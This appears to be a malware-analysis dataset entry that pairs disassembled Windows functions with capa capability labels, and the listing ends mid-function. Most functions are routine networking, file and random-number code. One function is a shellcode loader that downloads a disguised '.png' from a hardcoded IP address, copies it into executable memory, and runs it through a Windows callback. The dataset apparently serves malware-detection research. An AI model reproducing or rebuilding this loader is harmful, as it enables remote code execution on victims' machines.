joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140126120
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [0x14017d020]
mov rdi, rax
test rax, rax
jne 0x140126162
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1401261a9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140126202
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1401261c0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140126243
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140155122]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140155123]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140126210
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140127394
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401273de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401273de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401273de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401273de
cmp dword [rcx + 0x84], 0xe
jbe 0x1401273de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401273e0
xor al, al
add rsp, 0x28
ret
Function at 0x140001050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0xb0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0x48], 7
xor edi, edi
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
lea r8d, [rdi + 0x1e]
lea rdx, [0x14000b5b0]
lea rcx, [rsp + 0x30]
call fcn.140001540
nop
mov qword [rsp + 0x70], 7
mov qword [rsp + 0x68], rdi
mov word [rsp + 0x58], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rsp + 0x58]
call fcn.140001540
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], rdi
mov word [rsp + 0x80], di
lea r8d, [rdi + 0x1e]
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rsp + 0x80]
call fcn.140001540
nop
lea rbx, [rsp + 0x30]
cmp qword [rbx + 0x18], 8
jb 0x140001104
mov rcx, qword [rbx]
jmp 0x140001107
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000113b
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x1400010f8
lea r9, [0x140001440]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140001ff0
xor al, al
jmp 0x140001157
lea r9, [0x140001440]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rsp + 0x30]
call fcn.140001ff0
mov al, 1
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret

Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via windows callback function
Get file size
Read file on windows
Receive data

Disassembly:
sub rsp, 0x58
call fcn.140001170
test al, al
je 0x140001435
lea r8, str.C:UsersPublic_bai.png
lea rdx, str.http:__8.138.9.71_77.png
xor r9d, r9d
xor ecx, ecx
mov qword [rsp + 0x20], 0
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x140001435
mov qword [rsp + 0x30], 0
lea rcx, str.C:UsersPublic_bai.png
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x60], rbx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001430
mov qword [rsp + 0x68], rbp
xor edx, edx
mov rcx, rax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x50], rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call fcn.140001ab8
lea r9, [rsp + 0x40]
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov qword [rsp + 0x20], 0
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001410
cmp dword [rsp + 0x40], edi
jne 0x140001410
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call fcn.140001c70
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov ecx, 0x10000
call qword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
jmp 0x140001419
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140002050
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x60]
xor eax, eax
add rsp, 0x58
ret

Function at 0x140002eb0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140002d20
Function at 0x14000db00
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x14000dbe2
call fcn.140026cb0
test al, al
jne 0x14000dbe2
mov qword [rsp + 0x30], rsi
xor esi, esi
mov qword [rsp + 0x38], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x14000db32
mov r8, rdi
mov edx, 0x2e
mov rcx, rbx
call fcn.140030720
test rax, rax
je 0x14000db77
sub rax, rbx
mov edx, 0x2e
mov r8, rax
mov rcx, rbx
call fcn.140030720
mov rsi, rax
test rax, rax
je 0x14000db77
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rbx + rdi]
mov edi, 0x1505
cmp rbx, rsi
jae 0x14000dbab
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.140023660
imul rdi, rdi, 0x21
movsx rcx, al
inc rbx
xor rdi, rcx
cmp rbx, rsi
jb 0x14000db90
mov rsi, qword [rsp + 0x30]
mov rcx, rdi
movabs rax, 0x410410410410411
mul rdi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 5
imul rcx, rcx, 0x3f
sub rdi, rcx
mov rax, rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14001bba0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xa4e], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x14001bc69
cmp qword [rcx + 0x278], 0
je 0x14001bc1e
mov qword [rsp + 0x40], rbx
call fcn.140007db0
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.1400083e0
mov rcx, qword [rdi + 0x1f0]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x278]
movzx edx, bl
mov rcx, rdi
call fcn.1400083e0
mov rbx, qword [rsp + 0x40]
jmp 0x14001bc69
mov ecx, esi
test edx, edx
je 0x14001bc2e
sub ecx, 1
je 0x14001bc2e
cmp ecx, 1
jne 0x14001bc69
mov r9, qword [rdi + 0x1e8]
lea rax, [0x14006cac0]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov r9, qword [rdi + 0x1e8]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14001f870
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call sub.api_ms_win_crt_stdio_l1_1_0.dll__read
cdqe
add rsp, 0x28
ret
Function at 0x140027a90
Capabilities:
Convert ip address from string

Disassembly:
cmp qword [rsp + 0x28], 0
mov qword [r9], 0
jge 0x140027aa5
mov eax, 0xfffffffe
ret
mov qword [rsp + 0x28], r9
mov r9b, 1
jmp fcn.1400274d0

Function at 0x140027d90
Capabilities:
Convert ip address from string

Disassembly:
push rbp
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400867c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor edi, edi
mov r14, rdx
mov rbp, rcx
cmp byte [rcx + 0xa4e], dil
je 0x140027faf
cmp byte [rdx + 0x18], dil
mov qword [rsp + 0xc8], rsi
lea rsi, [rdx + 0x18]
je 0x140027fa7
lea r8, [rsp + 0x20]
mov rdx, rsi
lea ecx, [rdi + 2]
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140027fa7
lea r8, [rsp + 0x70]
mov rdx, rsi
lea ecx, [rdi + 0x17]
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jg 0x140027fa7
cmp byte [rsi], dil
lea rdx, str.Host__s:_d_was_resolved.
mov r9d, dword [r14 + 0x14]
mov rcx, rbp
mov qword [rsp + 0x100], rbx
mov rbx, qword [r14]
mov qword [rsp + 0xc0], r15
lea r15, str._none_
mov r8, r15
cmovne r8, rsi
call fcn.14001bd70
mov edx, 0x400
lea rcx, [rsp + 0x30]
call fcn.14000e140
mov edx, 0x400
lea rcx, [rsp + 0x50]
call fcn.14000e140
test rbx, rbx
je 0x140027f14
lea r14d, [rdi + 0x20]
nop dword [rax]
mov ecx, dword [rbx + 4]
cmp ecx, 0x17
je 0x140027e81
cmp ecx, 2
jne 0x140027f07
xor eax, eax
mov byte [rsp + 0x80], 0
cmp ecx, 2
lea rsi, [rsp + 0x30]
cmovne rax, r14
add rsi, rax
cmp ecx, 2
je 0x140027eae
cmp ecx, 0x17
jne 0x140027ec9
mov rdx, qword [rbx + 0x20]
add rdx, 8
jmp 0x140027eb6
mov rdx, qword [rbx + 0x20]
add rdx, 4
mov r9d, 0x2e
lea r8, [rsp + 0x80]
call sub.WS2_32.dll_inet_ntop
mov rcx, rsi
call fcn.14000e160
test rax, rax
je 0x140027eed
mov r8d, 2
lea rdx, [0x14006cb04]
mov rcx, rsi
call fcn.14000e100
mov edi, eax
test edi, edi
jne 0x140027f2f
lea rdx, [rsp + 0x80]
mov rcx, rsi
call fcn.14000e0a0
mov edi, eax
test eax, eax
jne 0x140027f2f
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140027e70
lea rcx, [rsp + 0x50]
call fcn.14000e160
test rax, rax
je 0x140027f40
lea rcx, [rsp + 0x50]
call fcn.14000e170
jmp 0x140027f43
lea rdx, str.too_many_IP__cant_show
mov rcx, rbp
call fcn.14001bd70
jmp 0x140027f83
mov rax, r15
mov r8, rax
lea rdx, str.IPv6:__s
mov rcx, rbp
call fcn.14001bd70
lea rcx, [rsp + 0x30]
call fcn.14000e160
test rax, rax
je 0x140027f71
lea rcx, [rsp + 0x30]
call fcn.14000e170
mov r15, rax
mov r8, r15
lea rdx, str.IPv4:__s
mov rcx, rbp
call fcn.14001bd70
lea rcx, [rsp + 0x30]
call fcn.14000e110
lea rcx, [rsp + 0x50]
call fcn.14000e110
mov r15, qword [rsp + 0xc0]
mov rbx, qword [rsp + 0x100]
mov rsi, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400665c0
add rsp, 0xd0
pop r14
pop rdi
pop rbp
ret
Function at 0x140030eb0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rbx, rcx
movaps xmmword [rsp + 0x50], xmm6
lea rcx, [rsp + 0x30]
mov rdi, rdx
call fcn.14000def0
mov rcx, rbx
movups xmm6, xmmword [rax]
call fcn.1400301f0
mov rcx, rdi
mov rsi, rax
call fcn.1400301f0
mov r8d, 1
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x140030f60
nop dword [rax]
nop word [rax + rax]
lea rcx, [rsp + 0x40]
movdqa xmmword [rsp + 0x20], xmm6
call fcn.14000def0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
call fcn.14000df80
cmp rax, 0x3e8
ja 0x140030f91
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x140030f10
test rsi, rsi
je 0x140030f6d
mov rcx, rsi
call case.0x14000f29b.0
test rbx, rbx
je 0x140030f7a
mov rcx, rbx
call case.0x14000f29b.0
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x60
pop rdi
ret
test rsi, rsi
je 0x140030f9e
mov rcx, rsi
call case.0x14000f29b.0
test rbx, rbx
je 0x140030fab
mov rcx, rbx
call case.0x14000f29b.0
mov eax, 1
jmp 0x140030f7c
Function at 0x140031510
Capabilities:
Resolve dns

Disassembly:
push rdi
push r12
push r13
push r15
sub rsp, 0x28
mov r13, r9
xor edi, edi
mov qword [r9], rdi
xor r15d, r15d
lea r9, [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov r12d, eax
test eax, eax
jne 0x1400316ae
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rsi
mov rsi, qword [rsp + 0x68]
test rsi, rsi
je 0x14003168e
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x20], r14
nop
mov rax, qword [rsi + 0x18]
test rax, rax
je 0x14003157e
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140031570
inc rbx
jmp 0x140031580
xor ebx, ebx
mov eax, dword [rsi + 4]
cmp eax, 2
jne 0x14003158d
lea ebp, [rax + 0xe]
jmp 0x140031599
cmp eax, 0x17
jne 0x140031631
lea ebp, [rax + 5]
cmp qword [rsi + 0x20], 0
je 0x140031631
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x140031631
cmp rax, rbp
jb 0x140031631
lea rcx, [rbp + 0x30]
add rcx, rbx
call qword [section..data]
mov r14, rax
test rax, rax
je 0x140031640
mov ecx, dword [rsi]
mov r8, rbp
mov dword [rax], ecx
mov ecx, dword [rsi + 4]
mov dword [rax + 4], ecx
mov ecx, dword [rsi + 8]
mov dword [rax + 8], ecx
mov ecx, dword [rsi + 0xc]
mov dword [rax + 0xc], ecx
lea rcx, [r14 + 0x30]
mov dword [rax + 0x10], ebp
xor eax, eax
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x20], rcx
mov rdx, qword [rsi + 0x20]
call sub.VCRUNTIME140.dll_memcpy
test rbx, rbx
je 0x14003161e
mov rcx, qword [r14 + 0x20]
mov r8, rbx
add rcx, rbp
mov qword [r14 + 0x18], rcx
mov rdx, qword [rsi + 0x18]
call sub.VCRUNTIME140.dll_memcpy
test rdi, rdi
cmove rdi, r14
test r15, r15
je 0x14003162e
mov qword [r15 + 0x28], r14
mov r15, r14
mov rsi, qword [rsi + 0x28]
test rsi, rsi
jne 0x140031560
jmp 0x140031646
mov r12d, 8
mov rcx, qword [rsp + 0x68]
mov r14, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x58]
test rcx, rcx
je 0x140031660
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
test r12d, r12d
je 0x140031689
test rdi, rdi
je 0x140031685
nop word [rax + rax]
mov rbx, qword [rdi + 0x28]
mov rcx, rdi
call qword [case.0x14000f29b.0]
mov rdi, rbx
test rbx, rbx
jne 0x140031670
xor edi, edi
jmp 0x14003169d
test rdi, rdi
jne 0x14003169d
mov r12d, 0x2af9
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov rsi, qword [rsp + 0x60]
mov eax, r12d
mov rbx, qword [rsp + 0x50]
mov qword [r13], rdi
add rsp, 0x28
pop r15
pop r13
pop r12
pop rdi
ret

Function at 0x140031b10
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
mov r9, rdx
mov r8, rcx
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call sub.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex
test rax, rax
je 0x140031b46
cmp rax, 0xffffffffffffffff
cmovne rbx, rax
mov rax, rbx
add rsp, 0x30
pop rbx
ret
add rsp, 0x30
pop rbx
ret
Function at 0x140032490
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rdx
mov edx, 0x2b
mov rsi, r8
mov rbp, rcx
test r8, r8
je 0x14003255b
xor r14d, r14d
nop dword [rax]
mov edi, 4
lea rdx, [rsp + 0x50]
cmp rsi, rdi
mov r8d, 4
mov rcx, rbp
cmovb rdi, rsi
call fcn.140015ae0
cmp eax, 4
jne 0x14003250c
cmp byte [0x140086c1c], r14b
jne 0x140032518
lea r9d, [rax - 2]
mov dword [rsp + 0x50], r14d
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
mov edx, eax
test eax, eax
jne 0x14003255d
mov eax, dword [rsp + 0x50]
jmp 0x140032537
imul eax, dword [0x140086c18], 0x41c64e6d
mov edx, r14d
add eax, 0x3039
mov dword [0x140086c18], eax
rol eax, 0x10
mov dword [rsp + 0x50], eax
test rdi, rdi
je 0x140032552
sub rsi, rdi
nop
mov byte [rbx], al
inc rbx
shr eax, 8
sub rdi, 1
jne 0x140032540
mov dword [rsp + 0x50], eax
test rsi, rsi
jne 0x1400324c0
mov eax, edx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x140032570
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
sub rdi, 1
je 0x140032612
xor ebp, ebp
lea r14, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
nop
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140015ae0
cmp eax, 4
jne 0x1400325de
cmp byte [0x140086c1c], bpl
jne 0x14003262a
lea r9d, [rax - 2]
mov dword [rsp + 0x50], ebp
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
jne 0x140032649
mov eax, ebp
test eax, eax
jne 0x140032617
mov ecx, dword [rsp + 0x50]
cmp ecx, 0xfffffffc
jae 0x1400325a0
mov eax, 0x8421085
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x3e
sub ecx, eax
movzx eax, byte [rcx + r14]
mov byte [rsi], al
inc rsi
sub rdi, 1
jne 0x1400325a0
mov byte [rsi], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
imul ecx, dword [0x140086c18], 0x41c64e6d
add ecx, 0x3039
mov dword [0x140086c18], ecx
rol ecx, 0x10
mov dword [rsp + 0x50], ecx
jmp 0x1400325e6
mov eax, 2
jmp 0x140032617
Function at 0x140035750
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [case.0x14000f29b.1]
mov rdi, rax
test rax, rax
je 0x1400357cd
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x1400357f8
cmp ebx, esi
je 0x1400357f8
cmp ebx, 0x8000
ja 0x1400357f8
cmp ebx, esi
jb 0x1400357f3
mov edx, ebx
mov rcx, rdi
call qword [case.0x14000f29b.1]
mov rdi, rax
test rax, rax
jne 0x140035790
mov rcx, rbp
call qword [case.0x14000f29b.0]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x1400357d8
mov rcx, rdi
jmp 0x1400357d0

Function at 0x140036fb0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov byte [rsp + 0x38], 0xff
mov rcx, qword [rcx + 0x20]
mov edi, r8d
mov esi, edx
mov byte [rsp + 0x3a], dil
xor r9d, r9d
mov byte [rsp + 0x39], sil
lea rdx, [rsp + 0x38]
mov rcx, qword [rcx + 0x220]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14003700f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbx
mov r8d, eax
call fcn.14001bc80
mov r9d, edi
lea rdx, str.SENT
mov r8d, esi
mov rcx, rbx
call fcn.140036b50
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400371b0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14003735d
push rsi
push rdi
push r15
sub rsp, 0x20
mov rsi, qword [rcx + 0x1c0]
mov rdi, rcx
mov r15, qword [rcx + 0x20]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rbp
lea rbx, [rsi + 0x1ed8]
mov qword [rsp + 0x58], r14
lea r14, [rsi + 0x1cd8]
mov qword [rbx], r14
mov rax, r14
cmp r14, rbx
jae 0x140037202
lea rax, [r14 + 1]
mov byte [r14], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14003721b
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14003721b
mov byte [rax], 0x1f
inc qword [rbx]
movzx ecx, word [rsi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rsi + 0x1caa]
movzx ebp, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x140037251
mov byte [r9], bpl
inc qword [rbx]
mov r9, qword [rbx]
mov rbp, qword [rsp + 0x50]
cmp r9, rbx
jae 0x1400372a7
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400372a7
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400372a7
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400372a7
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400372a7
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rsi + 0x1ee0], r9
lea r8, [rsi + 0x1cda]
sub r9, r14
mov qword [rbx], r14
sub r9, 2
mov edx, 0x3e
mov rcx, rdi
call fcn.140036c80
mov rcx, qword [r15 + 0x220]
xor r9d, r9d
mov rdx, r14
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov r14, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x140037309
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rdi
mov r8d, eax
call fcn.14001bc80
lea rdx, [rsi + 0x1cdb]
mov r8d, 4
mov rcx, rdi
call fcn.140037040
mov rcx, qword [r15 + 0x220]
lea rdx, [rsi + 0x1cdf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x140037355
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rdi
mov r8d, eax
call fcn.14001bc80
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret
Function at 0x140038970
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x1400867c0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rax, qword [rcx + 0x20]
mov rbp, rcx
xor r9d, r9d
xor esi, esi
mov rdi, qword [rax + 0x628]
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0x80
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r8d, dword [rdi + 0x144]
mov rdx, qword [rdi + 0x150]
add r8d, 4
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_recvfrom]
mov dword [rdi + 0x13c], eax
cmp dword [rdi + 0x138], esi
jne 0x140038a06
movsxd r8, dword [rsp + 0x30]
lea rcx, [rdi + 0xb8]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rdi + 0x138], eax
mov r8d, dword [rdi + 0x13c]
mov qword [rsp + 0x100], r14
cmp r8d, 4
jge 0x140038a56
lea rdx, str.Received_too_short_packet
mov rcx, rbp
call fcn.14001bc80
mov dword [rdi + 0xc], 7
mov eax, esi
mov r14, qword [rsp + 0x100]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400665c0
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
mov rdx, qword [rdi + 0x150]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rdi + 0xc], ecx
dec ecx
cmp ecx, 5
ja case.0x140038a8c.1
movsxd rax, ecx
lea r9, [0x140000000]
mov ecx, dword [r9 + rax*4 + 0x38b94]
add rcx, r9
jmp rcx
cmp r8d, 4
jle case.0x140038a8c.4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rdi + 0x14c]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x140038a8c.4
lea eax, [r8 - 4]
mov rcx, rbp
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14001d050
mov esi, eax
test eax, eax
je case.0x140038a8c.4
mov edx, 5
mov rcx, rdi
call fcn.140039580
jmp 0x140038a31
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
shl ecx, 8
lea r14, [rdx + 4]
mov qword [rsp + 0xf8], rbx
movsxd rbx, eax
movzx eax, byte [rdx + 3]
mov rdx, rbx
or ecx, eax
mov dword [rdi + 8], ecx
mov rcx, r14
call fcn.1400395f0
cmp rax, rbx
